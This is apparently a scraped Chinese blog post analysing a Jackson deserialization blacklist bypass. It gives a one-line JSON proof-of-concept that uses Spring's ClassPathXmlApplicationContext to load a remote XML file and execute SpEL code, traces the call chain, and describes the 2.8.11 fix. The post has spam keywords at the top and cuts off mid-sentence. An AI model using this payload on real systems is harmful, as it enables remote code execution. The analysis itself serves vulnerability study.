软件开发 网站建设 游戏开发,seo网站案例,网站利润分析,凡科网站制作教程0x00 前言
同CVE-2017-15095一样#xff0c;是CVE-2017-7525黑名单绕过的漏洞#xff0c;主要还是看一下绕过的调用链利用方式。
可以先看#xff1a;
Jackson 反序列化漏洞原理
或者直接看总结也可以#xff1a;
Jackson总结
涉及版本#xff1a;2.8.10和2.9.x至2.…0x00 前言
同CVE-2017-15095一样是CVE-2017-7525黑名单绕过的漏洞主要还是看一下绕过的调用链利用方式。
可以先看
Jackson 反序列化漏洞原理
或者直接看总结也可以
Jackson总结
涉及版本2.8.10和2.9.x至2.9.3
0x01 环境搭建 dependencygroupIdcom.fasterxml.jackson.dataformat/groupIdartifactIdjackson-dataformat-xml/artifactIdversion2.8.10/version/dependencydependencygroupIdorg.springframework/groupIdartifactIdspring-context/artifactIdversion5.3.23/version/dependency0x02 调用链分析
poc:
{\object\:[\org.springframework.context.support.ClassPathXmlApplicationContext\,\http://127.0.0.1:8008/spring.xml\]};首先来看调用链org.springframework.context.support.ClassPathXmlApplicationContext可以通过这个调用链来加载远程的SpEL表达式从而达到执行任意代码执行的目的。
Jackson可以调用带有参数的构造方法这里调用的是 ClassPathXmlApplicationContext(String configLocation) 最终会调用到此处ClassPathXmlApplicationContextsetConfigLocations用来配置本地化信息 重点在refresh位置通过obtainFreshBeanFactory远程加载文件 通过finishBeanFactoryInitialization执行SpEL表达式 之后就是加载单列beam,会对SpEL的内容进行解析从而触发想要执行的内容。
0x03 修复
在2.8.11版本的时候将黑名单挪到了src\main\java\com\fasterxml\jackson\databind\jsontype\impl\SubTypeValidator.java同时增加了部分的黑名单。
实际上除了以上的调用链也可以通过如下的调用链进行尝试和利用